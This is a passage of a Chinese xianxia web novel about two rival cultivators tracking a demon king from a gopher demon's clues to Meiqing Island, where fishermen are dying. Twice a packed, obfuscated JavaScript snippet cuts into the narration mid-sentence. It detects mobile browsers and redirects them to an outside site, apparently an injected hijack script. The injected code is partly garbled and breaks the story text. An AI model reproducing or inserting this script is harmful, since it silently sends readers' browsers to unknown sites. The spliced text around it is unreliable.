祝珩之在一旁双手抱胸:“姑娘看中哪个直接拿,喜欢多少拿多少,这里还有最好的裁缝给你当场量身定做,一个时辰内就能穿上新衣裳。” “这么好?” “能为美丽的姑娘效劳,是我八辈子修来的荣幸。”祝珩之深深看着她道。 少女脸颊一烫,低下头:“既然你人这么好,还带我出来玩,我们就不算敌人,叫我厚厚就好啦。” “好的,厚厚,真是个好听的名字。” 厚厚毫不客气指点江山似的:“我要这个,这个,还有那个,啊啊啊,这个花色也很好看呢。” “老板,”祝珩之打了个响指,“刚才厚厚姑娘指的所有锦缎都包起来,并且按最新的款式最快速度制好成衣。” 老板当即乐开花:“好的祝公子,您许久没光临我们店啦,姑娘这边请,我们量一下尺寸。” 厚厚蹦跶蹦跶就跟过去了,祝珩之在一旁喝茶耐心等候,徉作随口聊道:“厚厚啊,你家人可否需要买点什么?你好不容易出来一趟,带点伴手礼回去什么的。” “不用,我还没认识几个人呢,”厚厚悄悄道:“我跟你讲哦,我也是在偷土豆的时候,机缘巧合遇到一个人物,才在他的帮助下修成人形的。” “哦?”祝珩之挑起一边眉毛,“谁这么厉害?” “不知道,他好像是人又好像不是人,很高,好像还有翅膀,反正他法力很高强,就稍微传我一点儿,我就立即变成这样了,省了我好几十年的修炼呢。” “这样啊,那他确实很厉害,”祝珩之点点头,一脸担心道,“不对啊,他为何无端端帮你呢?会不会是坏人?” 厚厚应裁缝需求抬起手臂:“还好吧,他也没对我怎么样,就让我帮他钻几条裂缝通到你们那个什么塔底,就没啦。” 祝珩之抬手喝了一口茶,眸子微暗。 不多时,他们转战玲珑轩,厚厚实在对金光闪闪的金饰毫无抵抗力,唰唰唰挑了一大筐,哼着小曲儿站在铜镜前,一支支试戴起来。 祝珩之双手抱拳松弛地倚在墙边,身形颀长,宽肩窄腰,活脱脱完美的人形雕塑,他一边对羞答答看向他的客人抛媚眼,一边继续随意聊道:“看不出来,你一个小小的姑娘,能打出这么爆裂的地洞,甚至连锁妖塔的塔身都能钻开。” “那可不吗?”厚厚左顾右盼片刻,猛然收起嘴唇,偷偷亮出她那两颗雪白圆润的大门牙,“偷偷跟你说,我们地鼠妖的牙齿,最为坚不可摧,是我最最厉害的法器哦,你知道我是从哪儿钻过来的吗?” “哪儿?不会是十万八千里外的萨渡海吧?”祝珩之看着就像和朋友闲聊毫无防备地开玩笑,实则细细一看,他眼底有些紧绷。 厚厚一脸诧异:“你怎么猜到的?!” “……” “其实,当时我在偷土豆,那个长着翅膀的男人就突然出现了,吓得我兜里的土豆全滚进下水沟了,好可惜呢,我本来可以三天不出门的。” 一聊起来,厚厚简直没完没了了:“你不知道,他身上还有一股淡淡的咸味,好像在海里泡了很久的那种小鱼干。不过,你别跟别人说哦,我怕他找到我,然后施法把我打回原型,我觉得,做人挺好的,还遇到你这样的朋友,很开心。” 祝珩之眉眼弯弯,看起来很靠谱:“当然,这是我们朋友间的秘密,我一定会保密的。” “什么?生活在海里并且长着翅膀的男妖!”竹苑里,木青蹭的一下神色惊慌站起来。 祝珩之:“嘘,这是我和厚厚的秘密,小声点,不然我好不容易钓到的小美人就吹了。” 刚醒来倚在床头的林淮舟虚弱地闭了闭眼:“你更大声好不好?” “有吗?” 林淮舟和木青难得异口同声:“你说呢?” 13. 狗子偷家 林淮舟沉思道:“他利用地鼠妖的牙齿钻出裂缝,企图释放锁妖塔恶妖,为祸人间,妖多力众,便可快速助力妖神增长妖力,破除地渊结界,不过,没想到,三大妖王,率先动手的,居然是排行最小的,叔灭。” 所谓妖王之排行,并非妖神所封,据说,只是按他们三个的年龄大小以伯、仲、叔来取名。 林淮舟这一辈还未出生,他们就已经随着妖神封印而藏身他处,再无出现,直到今日锁妖塔一事。 这也正应了妄静仙尊的预言——妖神已经发出信号给妖王,地渊结界将在众妖吸人精魂壮大力量后,以妖界内部的方式,恭迎妖神现世。 要知道,自从紫邪山一战后,妖界群龙无首,就像一块砸在地上的土块,四分五裂,畏畏缩缩。 自此,人妖两界算是平稳七百多年,所谓福祸相依,福气到头了,祸端便不期而至。 这不,妖王一得知妖神还未被结界镇死,叔灭就迫不及待首当其冲,利用地鼠妖,直接挑衅关押着天底下最多恶妖的锁妖塔。 不敢相信,倘若真被他得手了,恶妖像饿疯了的猛兽般扑向人群,精魂之气立即撑破肚皮,妖神也因而被喂饱,天劫定然以势不可挡的威力即刻伊始。 如今,锁妖塔之事未得逞,叔灭早已不知所踪,茫茫东海之大,如何能最快追踪?会不会其余两位妖王很快会有别的行动? 他是师尊长老们最为信赖的弟子,如今却在这种节骨眼上,阴差阳错违背天道怀了孕,倘若有一日被外人知晓,那他…… 林淮舟摩挲着掌心已经平息的星罗盘,不由地握紧。 萨渡海是必定要去的,但出发之前,还缺一样东西。 天色已晚,烛火荧荧,林淮舟肌肤光洁苍白,更衬得他秀眉浓黑,下眼睑印上蝶翅般的睫影,病气未消,却为原本的美貌添上一种说不出来的惊心动魄。 “地鼠妖在何处?”林淮舟问。 祝珩之漫不经心道:“哦,她还在锦绣阁满心期待地等她的新衣裳。” “把她带来,立刻。” “别总这么命令人,我忙活一整天,也累了,你都不关心关心我。”祝珩之往旁边一坐,伸了伸懒腰。 林淮舟淡蓝眸子从眼尾睨来,不冷不热道:“关心你带小姑娘霍霍的钱是从哪里来的吗?” “清也君,清也君,不好了,筹办仙门大会的那笔钱不见了!”彼时,一个白袍老头急匆匆跑进来。 林淮舟处变不惊呷一口温水。 那老头还未停稳脚步,就被祝珩之不可抗拒地往外推,后者殷勤按摩他肩膀,古怪笑道:“荣伯,您一大把年纪别动不动就蹦来蹦去的,对心脏不好,快回去歇会儿吧。” “站住。” 猫着脚步偷溜的祝珩之不着调自顾自道:“师哥身体抱恙,还是别送啦,我改日再来看你哦,不见不散。” 林淮舟眼也不抬一挥宽袖,门窗砰砰关紧断了所有出路,然后他慢悠悠放下茶杯,转而,掀被下床,转了转僵硬的手腕。 这个百看不厌的动作祝珩之再熟悉不过了,他蓦然无辜睁大眼睛,一本正经:“师哥,我又做错什么了!我这个什么都缺就是最不缺钱,怎么可能会去偷呢!开玩笑!何况仙门大会何等重要大事,有那么畜生吗我?” 林淮舟不知听没听进去,只是一步步走到他跟前,薄唇干燥,扬起一个非常古怪的弧度。 不得不说,林淮舟极少极少会笑,每每笑起来,周围的人即便感觉到格外危险,但心头还是情不自禁被他的美貌电击了一下,浑身酥麻。 木青见状,立马暗暗把荣伯拉到一边,一起麻溜缩到安全的角落,抱头捂耳:“你就像我这样做。” 荣伯一脸纳闷,还未来得及问个所以然,耳边就惊现祝珩之撕心裂肺的惨叫,紧接着,房门大开,一道健壮高大的身影像垃圾一样,被利落扔了出去。 如果此时定格一会儿,荣伯定然能无比清晰看见祝珩之英俊的脸庞红彤彤嵌着一个修长的手掌印,指节流畅红润,根根到位,栩栩如生。 木青没忍住打了个冷颤,啧啧摇头:“活该。” 荣伯掏掏几乎被震聋的耳朵,声音不知不觉扬起来:“他们怎么又一言不合打起来了?” 木青可怜地看他一眼,亦扬声回复:“这还不明显吗?” 只见林淮舟掏出帕子慢条斯理擦手,道:“玲珑轩,锦绣阁,云鬓坊,聚仙楼,呵,狗胆子愈发大了,偷到家里来了。” 祝珩之疼得龇牙咧嘴也要奋力反驳:“林淮舟!你这话就不对了,我劳心劳力都是为了谁啊?你半死不活躺着,手下没一个能用的,若非我聪明机智,能套出小美人那么多话?你能知道叔灭就藏匿于萨渡海?真是好心当了驴肝肺。” 林淮舟眉宇不惊,只言简意赅回道:“滚,否则,死外头去,别回来了。” 木青和荣伯一时无法理解这个“滚”是什么意思,还在面面相觑像琢磨天大难题之际,祝珩之却立即对答如流:“回家就回家,那点穷酸钱,还不够小爷给倚香楼美人的打赏费,在老子家狗窝随便抠一块石头下来都能还得上,要不是老子还没干掉你,谁吃饱了没事做愿意待在这鸟不拉屎的鬼地方?” 嘴上功夫硬得很,木青以为祝珩之接下来会像往常那样强烈反击,而此时,怀孕了的林淮舟虽然身体虚弱,但也一定会不服输对抗起来,非要斗得你死我活才罢休。 木青正着急思忖怎么在保住自己小命的前提下成功劝架,而祝珩之却捧着肿成猪头似的脸,骂骂咧咧,然后,非常窝囊地只身离开了?! 木青和荣伯见林淮舟面无表情躺回去休息,再无多言,后知后觉恍然大悟,不约而同拉长哦了一句。 同时,他们又面面相觑,大概疑惑,这两个人在没有意识通灵的前提下,是怎么做到加密沟通完全无障碍的? “荣伯,放心,他明天就会把银子填回去。”林淮舟闭目养神道。 荣伯嘶了一声:“清也君,我记得,祝家当年格外不同意祝少一意孤行上山修炼,这些年都没有寄过钱,祝少这次回去真能拿到这么多钱?” “他既然自认聪明机智无人匹敌,这就不是我们需要操心的了,倘若他明日空手而回,我便扒了他的皮。”林淮舟嘴角又重现那丝诡异的笑容。 荣伯诺诺应道,先行退去了。 木青坐在床沿,扫了一眼他腹部,问道:“清也,你告诉他了?” “嗯。” “怪不得。” “什么?” “你打他,他都不还手了,真的好像一只狗哦,还挺可怜的。” “……”顿了顿,林淮舟望着天花板的某处虚空,脑子奇怪地回放祝珩之离去的背影,轻声自言自语:“我是不是太凶了?” 木青微微倾斜身子:“你说什么?” “没什么。”林淮舟翻了个身,阖起眼睛。 翌日,天刚蒙蒙亮,天留山忽然高亢地回荡着吹锣打鼓的声音,一群人分列两队,抬着三五十个能装下两个大人的红木箱子,从山下弯弯绕绕的青阶而上。 为首的祝珩之身后跟着比迎亲还热闹的队伍,他潇洒摇着折扇,满面春风,不时跟同门熟络打招呼,大摇大摆穿过探头探脑议论纷纷的人群,径自走向尽头阶上的林淮舟。 “银子都在这儿,一分不少。” 不知为何,林淮舟将祝珩之此时昂首挺胸样子,同昨夜木青的比喻串联在一起,乍一眼,倒是挺像猎犬外出觅食成功回来跟主人炫耀的姿态。 “你还挺有能耐的。” “你笑什么?”祝珩之色变问道。 “我笑了吗?” “有,你就有,我都看到了。” 林淮舟继续问:“那别人看见了吗?” 周围的人骇然微缩,频频摇头。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16379706|184093||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ……” 祝珩之不知想到什么,嘴角微弯,折扇敲着掌心,拾阶而上,走到林淮舟旁边,微微俯视,墨瞳咪咪:“这五年来,不管我一哭二闹三上吊,还是假死假伤假装病,他们可是连一文钱都没给过,师哥难道就不好奇,我老爹老娘这一回,怎么会给我这么多银子?” 林淮舟转身即走,表示不感兴趣。 “欸,师哥,”祝珩之往前一步拦住他,“我还没感激你呢。” 林淮舟眯了眯眼,他知道,祝珩之一露出眉眼弯弯的狐狸表情就准没好事:“什么意思?” 当着众弟子的面,祝珩之死不要脸深情款款牵起他的手,十指相扣:“你亲我一下,我便告诉你。” 周围一片哗然。 林淮舟:“……” 适时,队伍中迈出一个鬓角花白气质沉稳的老管家,他一看到林淮舟的样貌,不由得一口气被吊在嗓子眼,眼睛发直,瞳仁差点没翻过去,一脸疑惑,手指颤巍:“这……这位好生俊美的道长,就是……少夫人?” 林淮舟:“?” 祝珩之狡黠一笑,满眼写着“我老婆漂亮吧”的骄傲:“还不拜见少夫人?” “这……”老管家略显难色,附耳道:“少爷,他即便面若芙蓉,窈窕有致,但如何……唉,如何是个男子啊?” “男子如何?不漂亮吗?” 众人应势瞄了林淮舟一眼,灵魂出窍般纷纷点头如捣蒜。 “那不就成了?本少爷就喜欢他,喜欢他喜欢得不得了,没了他,我宁愿去死。” “哎哟,使不得使不得,少爷是祝家唯一的男丁,祝家就靠着少爷振兴家族了,”老管家显然被唬住,无奈招手唤来队伍其他人:“还不快来?” 众人弓腰叉手,齐声恭敬道:“拜见少夫人。” 蒙在鼓里的林淮舟皮笑肉不笑,用力拔出被祝珩之紧紧攥住的手,一字一句咬紧道:“你最好给我解释一下。” 祝珩之转身,又格外亲热地牵起林淮舟,对众人道:“不错,这位肤白貌美仙风道骨的林道长,就是我祝珩之唯一的心上人,祝家未来的少夫人!老管家,这回我真没骗那二老,真的千真万确,真的有心上人,真的要给老祝家延续香火了,可放心了吧?” 话音未落,祝珩之突然身体一僵,脸色发青,好像在忍受什么极致痛苦。 老管家带了他这么多年,一下子便看出他的异样,担忧问道:“少爷,你怎么了?” “哦,没事,少夫人有些紧张,挠了我一下,”他哈哈僵笑道,“天留山乃修炼之地,不宜留大家吃饭,还是回去吧啊,少夫人对我是极好极好极好的。” 不多时,祝珩之送老管家一行人心满意足离去,临走前,老管家低声问道:“少爷,少夫人怎么看起来好像不大开心啊?” “他啊,他害羞呗,怕生,都快过门的媳妇儿了,这个臭毛病必须改,我回去说他两句啊,您别介意,那二老年纪大了,近日身体不适,怕他们承受不住,还是先暂且隐瞒少夫人的性别吧,日后我亲自登门解释。” “嗯,可是,少爷,少夫人看着不爱笑,感觉不太好惹啊,会不会……” 祝珩之送他们出去:“就放心吧,别看他总爱板着一张脸,其实性格像小猫一样很软很听话的,我祝珩之能娶个尖酸刻薄的悍妇回去?再说了,就算他有那么点小性儿,我也是他未来夫君啊,哪有不听夫君话的媳妇儿?我祝珩之第一个拿扫把扫他出门,还不简单吗?” 老管家点点头觉得有道理,没再多说什么。 “很软?很听话?” 身边忽然诡异地飘来一句带着轻笑的话,吓得祝珩之原地头皮发麻:“你怎么走路一点声音……啊啊啊啊!” 祝珩之话还未说完,就被林淮舟一脚踹去膝盖窝,同时衣领被紧紧一拽下,稍微高一点的祝珩之不得不低眉俯身,被迫看着林淮舟因愠怒而微颤的眼睫。 14. 我肚子疼 “拿我做挡箭牌捞你父母的银子?祝珩之,你要是想找死,我现在就可以立刻送你上西天。” 眼前明明是一张淡极生艳的冷脸,鼻间却陆陆续续飘来柔软的芙蓉香,祝珩之不自觉被吸引往前一步,拉了拉对方的衣角,调笑中嗓音低沉而蛊惑:“师哥,你看,你交给我的任务,我已经完成了,甚至还超常完成,怎么着也是知错能改将功补过啊。” 他又上前一步,气息逼近他耳侧:“看在我真心为天留山,为了师哥你,你就大人有大量,不跟我这个小人计较,给个机会,我改,嗯?” 林淮舟稍稍往后仰去,沉吟片刻,大概念在昨夜自己病倒后祝珩之帮了忙的份上,眉宇稍微平缓了一些,便推开他,面无表情问道:“那地鼠妖带来了吗?” 祝珩之笑了笑抠抠嘴角:“呵呵,额,这个嘛,我确实也去找了,但没找着,跑了。” 林淮舟:“……” 铮——饮霜剑拔鞘而出,银光大作。 刚下山的老管家被奇耀的光芒刺了一下眼,有人看向山上紧张道:“好像是少爷和少夫人打起来了?” 老管家却松然一笑:“大惊小怪,世上和睦恩爱的夫妻,哪有不打架不吵架的?打得越厉害,吵得越厉害,说明什么?说明越在乎彼此!” 风乍起,一片落叶起起落落,咻的一声被一道冒着寒意的剑光均匀对半劈开。 其实就在林淮舟亮出剑光那一刻,祝珩之立马撒腿就跑。 此时的他距离林淮舟近百米,背后却毫无霜雪之气,便转过头去,见林淮舟一脚在前,似乎意识到什么而停下,另一手正抚上小腹,闭了闭眼深呼吸,饮霜剑就在手里化去了。 如果是从前,祝珩之定然会想,死对头肯定在琢磨一种更快更恨的招式对付他。 然而,今时不同往日,他脑子第一个冒出来的念头,居然是……担心他可能不舒服?! “……”祝珩之抓抓头发,觉得自己才是最有病的那个。 “你过来。”林淮舟声音不大,但他就是鬼使神差般很清晰地听见了。 “怎么?你……你又有事儿了?”祝珩之认为直接问“你哪里不舒服吗”这话太亲密了,说起来舌头打结,便转而换了句差不多意思的话。 林淮舟毫不犹豫剜了他一眼。 “你让我过去就过去,岂不是很没面子?”祝珩之双手叉腰道。 林淮舟就定定站在那里,眼睫微垂之态,敛去了他一身坚硬如冰的寒意,更多了几分柔媚似水之感。身后是蔚蓝天空下延绵起伏的黛山,风卷起他浓密的银色头发,像严冬银霜铺成的一张软毯。 “我肚子疼。” 林淮舟音色清冷,说话声不大不小,便显得没有什么起伏,可他这几个字,带着点微弱的气声和稍低的尾调,加之那让人一眼难忘的美貌和苍穹之下显得弱不经风的孤影,但凡是个人,心里皆会不由自主泛起浓烈的保护欲。 “……” 须臾,祝珩之摸摸总是痒得出奇的耳朵,摩挲着右食指上的那半颗朱砂痣,左看瓦右看树,负手吹哨,佯装闲庭信步逛过去。 清咳两声,停在林淮舟身旁,望天望地,措辞半日,挑来挑去最终想到了一句比较合适的话,又调整为比较随意的口吻:“走吧,看大夫去。” 没走两步,祝珩之还是没忍住老大爷似的叨两句:“谁让你没休息好就乱跑的,现在好了吧,都不知道是不是病根,麻烦。” 忽而,身后一阵夹着冷气的掌风袭来,同时,耳边响起林淮舟冷峻的警告:“别动。” “吱吱吱吱——” 祝珩之转身望去,那林淮舟手里,居然多了一只吱哇乱叫的灰棕色胖嘟嘟地鼠。 祝珩之摸了摸耳朵,恍然笑道:“小美人,原来你一直藏在我耳朵上,怎么,舍不得我?” 林淮舟一本正经道:“借点东西,失礼。” “我不要!” 厚厚还在不停挣扎,突然,她浑身动弹不得,丹田之处像被冰川淌过,寒意的麻痹感直窜天灵盖。 “等等!”祝珩之阻道。 “如果你想在这个时候英雄救美的话,我一定会先拍死你。” 祝珩之又惊又怒:“你刚才……居然撒谎了!你根本就没事,你骗我!!” 林淮舟不以为意,淡淡道:“有问题吗?” 祝珩之还在纠缠不休:“林淮舟啊林淮舟,这招你跟谁学的?好的不学学坏的?你……你堕落了!” 林淮舟面色如冰,沉吟不语,不想跟此人纠缠些有的没的,他五指成爪,灵光运转。 不一会儿,一圈深蓝色浓雾从厚厚的丹田处升起,不知他又怎么一晃,那浓雾被迫脱离出来,圈在他掌心上空。 祝珩之没吭声,想必猜到了这团浓烈的妖雾,便是叔灭助她成人时所渡的。 难怪,林淮舟一直问他要人。 在病到昏厥的情况下,脑子还比他清明,甚至连撒谎都学会了,真是……令人愤懑不已。 与此同时,林淮舟另一手里的星罗盘大震,他手腕一转,浓雾一靠近罗盘,就像遇到老熟人似的被吸了进去。 登时,盘中折射出一条金光,虚空之中展开一张囊括天南海北的极其宏阔的地图,犹如整个世间就浓缩在眼前。 其中,最亮的,是由无数个星辰组成的一条发光小径,从天留山朝萨渡海方向弯弯绕绕,越过海岸线,最终定在海中一个小圆黑点。 林淮舟如镜的蓝眸倒映出“湄清岛”三个字,他缓缓道:“找到了。” 适时,腰间玉牌抖动,传出宋竞急切的声音:“大师哥,大门口有个自称来自湄清岛的老伯,他好像快不行了,您快来看看。” 林淮舟面色一动,随手把浑身冰霜冷到翻白眼吐舌头的厚厚丢给祝珩之:“把她扔进锁妖塔。” 祝珩之:“人家小美人儿没做什么坏事,进去肯定会被那些妖欺负的,你懂不懂得怜香惜玉?” 林淮舟头也不回:“师尊说过,妖就是妖,生来即定,再温顺也有妖性,待她妖性大发,把你吃得连骨头都不剩之时,看你还说不说得出这些话。” 正门外,一个瘦骨嶙峋的男人半死不活瘫在宋竞怀里,白发蓬乱,身上的衣裳又破又脏像经年风餐露宿的乞丐。 他枯枝般的四肢像被什么榨干,骨骼的纹理清晰可见,他面容枯黑焦黄,双眼发青凹陷,直愣愣望着某处虚空,像是魂魄已经有一半离开了躯体。 林淮舟一上前,他就像抓住最后一根稻草似的紧紧嵌着林淮舟的衣袖,泛黄的眼珠失焦般看过来,也不知道看没看清来者。 他从手边的包袱里,颤颤巍巍翻出三五瓶晒干的海货、十几个袋小鱼干,还有一个沉甸甸的钱袋,干裂到流血的白唇断断续续发出破风箱的哑声:“有……有好厉害……的妖怪,道长,帮帮……我们,帮帮……,村民都……” 话音未落,他的头一歪,眼睛依然大睁,手一点未松。 林淮舟探了探他鼻息,悲悯道:“请安息吧。” 他抬手一抚,男人干涸的眼皮便盖住了血丝爆裂的眼珠,就在这一刻,男人的手缓缓松开了他的衣袖,烂到结痂的嘴角似乎往上扬了扬。 宋竞哀悼片刻,问:“大师哥,这是妖怪所伤吗?” 林淮舟摇头:“不是,萨渡海湄清岛距离这里天高路远,他大概在一个半月前,活生生走过来求助的。” 老人家一大把年纪,横跨千山万水,还背着这么多东西,怎能吃得消? 约莫半个时辰后,林淮舟将一坛骨灰和老人带来的海货银两悉数收入乾坤袖,将天留山事务无微不至交代与宋竞等人。 “大师哥,你一人前往,会不会太危险?”宋竞担忧道。 “是啊,清也,”木青递给他一些保胎的瓶瓶罐罐,嘀嘀咕咕说一大堆哪瓶要在何时吃几颗,然后小声道:“你现在有孕在身,不宜大动干戈,每日按时吃药,中元节之前,胎儿一定不能有事,否则,我就算是神仙转世,大的小的我都保不住。” 林淮舟嗯了一声,收下药。 木清往四周看了看,继续压低声音:“欸,孩儿他爹怎么不跟你一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16379707|184093||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起去?” 林淮舟道:“他不来更好,省得给我添乱。” “不好意思,回去冲了个澡,来晚了。”话音先至,祝珩之摇着折扇笑眯眯孔雀开屏,走路带过来的风是香的,发根微湿,连指甲盖都是光鲜亮丽的。 宋竞不屑看他一眼:“有些人啊,跟我们大师哥学习学习什么叫做心怀天下、置身度外、舍己为公的精神。” 祝珩之不知是不是懒得跟他抬杠,越过他,对林淮舟道:“走吧,顺路送送你,如果遇到什么妖怪,记得大喊一声‘哥哥救我’我绝对会帮你实现愿望哦。” 林淮舟好似想起了什么不愉快的回忆,嘴角噙着一丝冷笑:“真是多谢了。” 现在不是争吵的时候,林淮舟心情不好,不想理会,说完,他便召出饮霜剑,身姿如松,飞了出去。 白云皑皑的空中,忽而,咻的一下,一阵温热而熟悉的灵波从身边窜出。 果然,祝珩之正摆着一个非常刻意显示他宽肩窄腰大长腿的姿势,站在冒着火焰的折扇上,从不好好交叠的衣领一路开叉到胸口以上,因常年练刀挥拳,他的身材已经被锻造到极致的鬼斧神工,只是稍稍露出一点皮肉,便能令路过的妇孺无不滞眼尖叫。 加之,他格外清楚自己哪里最好看最吸引人,因此也极其会展露自己最完美的一面,正如现在,他精心利用风的方向,使每一根发丝飞扬得恰到好处,又能做到一种自然而然的天成之美,让旁人深信,连风,都在眷顾他英俊的面容。 “真巧啊,我居然和师哥顺路耶。” 正在抓紧一切时间打坐静修的林淮舟:“你来做什么?” “据说那萨渡海风景优美,海产丰饶,最有名的便是渔家乐的那道五色鱼脍,薄如蝉翼,轻可吹起,鲜美至极。”祝珩之悠悠道。 “你祝大公子什么没吃过,一道五色鱼脍而已,动动嘴皮子的事儿。” “大家都很忙的,不是每一个人都像我这么有品味。” 林淮舟:“……” 突然,饮霜剑尾巴被什么坚硬的东西擦到,剑身斜了一点,林淮舟一不留神身子歪了歪,见祝珩之远远并列在自己面前,用背影挥挥手。 “不好意思,借个道。” 林淮舟握住拳头:“这个白痴……” 黑刀在前,白剑于后,都在一条线上,不知是不是祝珩之吃错什么药,或是自认为这样特别耀眼潇洒,那扇穗燃起的火焰随风拉出长长一道,像绕着天际的红霞。 而红霞另一端,不偏不倚搭在林淮舟剑头,借力打力,林淮舟反而自然而然减少御剑的灵力。 他体内的灵脉无时无刻不被腹中胎儿吸收着,牵制着,每每动用灵力,哪怕只是一丁点,都需要强忍着痛苦恶心与其做对抗,就像拔河似的,才一个月余的胎儿,就能让他感受到微微吃力。 转念一想,这样被祝珩之像拖车一样拖着去,身体确实没那么费劲,也好留有充足的力气对付那村民口中所说的厉害妖怪。 到达湄清岛,已是黄昏。 “这山卡拉终于到了。”祝珩之折扇在手,伸伸懒腰,面露疲色,双眼皮几乎熬成三眼皮。 林淮舟知晓,御剑飞行需灵力不断加持,这两三个时辰里,他为了保存体力几乎没有运转金丹。 换言之,这一趟,祝珩之相当于使用了双倍灵力,宛若一人之力拉了两辆大马车,毕竟还未大乘境界,□□承受能力也是有一定限度的。 林淮舟忽而驻足,等祝珩之走到身边,犹豫片刻,还是略显艰难启唇:“谢……” “哇!前面是什么?好热闹啊,去看看。”祝珩之不知听没听见,忽而,瞪大眼睛踮起脚眺望远方,像被困了几千年的上古猴子似的,刺溜一下没了踪影。 喇叭鸣天,唢呐震耳,鞭炮连连,舞狮在先,一顶接着一顶大红花轿迎面而来。 祝珩之身躯高大,一下子就挤进视野最清楚的前排,数了数花轿,一共有五顶。惊喜过后,很快陷入沉思。 须臾,他纳闷道:“不对啊,哪有五个新娘同时出嫁的?” 15. 吃人海湾 “不是喜事。” 林淮舟神色平静,在人群最外围观摩,用了少量通灵术——在嘈杂的环境中亦能清晰听见彼此的声音。 “你怎么看出来的?”祝珩之奇道。 “因为你没长眼。瞧,他们一个个神色悲哀,双目红肿,倒更像是……丧事。” 一阵海风扑面而来,刚好经过面前的花轿被颠簸了一下,突然,一个头滚了出来! 群众纷纷哗然逃窜。 轿夫很快就把头虔诚地扶了进去,但林淮舟眼尖,一下子便观察到,那花轿里坐着的,是一个盖盖头穿喜服的年轻男子 ——肤色苍白透着青紫,皮肉枯竭,骨骼纹理清晰可见,形同一碰就折的枯枝,瞪眼张嘴,显然是被吸干精魂的惨状。 鞭炮声停,登时,喜庆的队伍传来震天动地的哀哭,时而高亢,时而低吟,时而尖锐,时而粗哑,不一会儿,又被铺天盖地的喜乐吞没。 适时,就近的一个大哥看着林淮舟一副美人苦思的模样,贼溜溜地上下打量一番,走近搭讪道:“你是从外地来的吧?” 林淮舟不善主动与这般热情的生人沟通,一下子就噎住了,不知该如何回,只是淡然颌首。 那位大哥肩膀搭上一只大手,祝珩之不知何时退出来,熟络搭背:“不好意思,我们兄弟俩是来探亲的,刚到,人生地不熟,请问到底出什么事儿了?” “嗨,这就说来话长了,”那大哥道,“你们是不知道,我们湄清岛啊,被妖怪盯上了。一个多月前,凡是去那片黑水湾打鱼的男人,几乎有去无回,出海的第二天,尸体就会被冲回海岸。” “那花轿里躺着的,是几个天不怕地不怕的小伙子,算是我们岛上力气最大还会点武功的,昨天还好端端的,谁知,还是遇难了。” 林淮舟问:“黑水湾?” “是啊,那里鱼虾最为丰富,网一撒下去,捞上来的数目,比其他海域打捞得要多好几倍呢,去一次,半个月都不用愁,大家都抢着去了,可谁知,竟然冒犯了那里的海妖,都死好几百人了都,真是造孽啊。” 祝珩之和林淮舟对视一眼,问:“那为什么要把丧事当喜事办?这不合伦理啊。” 那大哥指着走在队伍最前面闭眼撒黄符的八字胡男人,葛巾布袍:“喏,就是他,这个把丧事当喜事办的绝妙主意,就是他出的,说是海妖不喜哀乐,会惊扰到,一发怒,全岛都得陪葬,喜乐反而会让他身心舒畅,心情好了,吃的人也就少了。” 祝珩之没忍住扑哧一声笑出来:“这你们也信?那是不是每天手拉手在海边围着篝火唱唱歌跳跳舞也行啊?” 那大哥怒目圆睁,一脸嫌弃与鄙夷:“去,你们这些外地人懂什么?黄一道长,你们连他都不认得?真是孤陋寡闻,难怪是外乡人。” “稀罕啊,说来听听。”祝珩之双手抱胸扬起下巴。 “说出来啊,吓死你们,这黄一道长,降妖无数,威名远扬,德高望重,连皇帝都请他进宫做过好几次法事,还被御赐了一块皇帝亲笔题写的牌匾,写着‘尊道贵德’,怎么样?厉害吧?” 祝珩之还算给点面子回应一下,一脸惊讶:“真的?这么厉害哦?那肯定是神仙转世,天神下凡普渡众生啊!大哥,你好眼力!” “……”林淮舟闭了闭眼,心道荒谬至极。 那大哥被祝珩之这么一捧,心花怒放,开始滔滔不绝道:“在尊贵的黄一道长来之前,我们那个所谓的村长,都请了四五个啦,一点屁用都没有。折腾下来,倒是花了十几两银子,本来祖上一百多代就靠海吃海,这都一个多月不敢出海了,大家伙哪来的收入?” 林淮舟冷冷道:“败类。” 大哥脸色一变:“什么?你说谁?” 祝珩之忙笑嘻嘻解释:“我弟弟没说你们,说的是那些吃屎长大屁股眼吃饭的假道……士!” 最后一个“士”字,他突然尾音上扬渐细,五官拧在一起。 林淮舟若无其事移开踩着他的脚。 那大哥被祝珩之鼓励的眼神完全迷惑了,沉浸在他的世界里,滔滔不绝道:“我看啊,就是那狗屁村长私吞我们的银两,请道士需要多少钱,不用钱的道士一抓一大把,比如我们德高望重的黄一道长就是啦,他非要找那种出价贵的。” “好了吧,钱没了,人命还在不停搭进去了,还说什么要去天留山请人,到现在这么久了,一个屁音讯都没有,八成啊,卷着我们那二十两银子,跑咯!” 林祝二人默契互视一眼,祝珩之问道:“劳烦问一下,你们村长家在哪儿?” 按照那位大哥的指路,他们找到了村长家,可里面住的,是别的人家,说村长把房子卖了,妻儿都在老家。 弯弯绕绕兜一大圈,可算找到了。 那是一个很小很旧的茅草屋,大概传了三五代人,倘若刮个风下场雨,这破屋子怕是连根拔起抛到九霄云外。 祝珩之敲敲发白生霉的木门:“请问有人在家吗?” 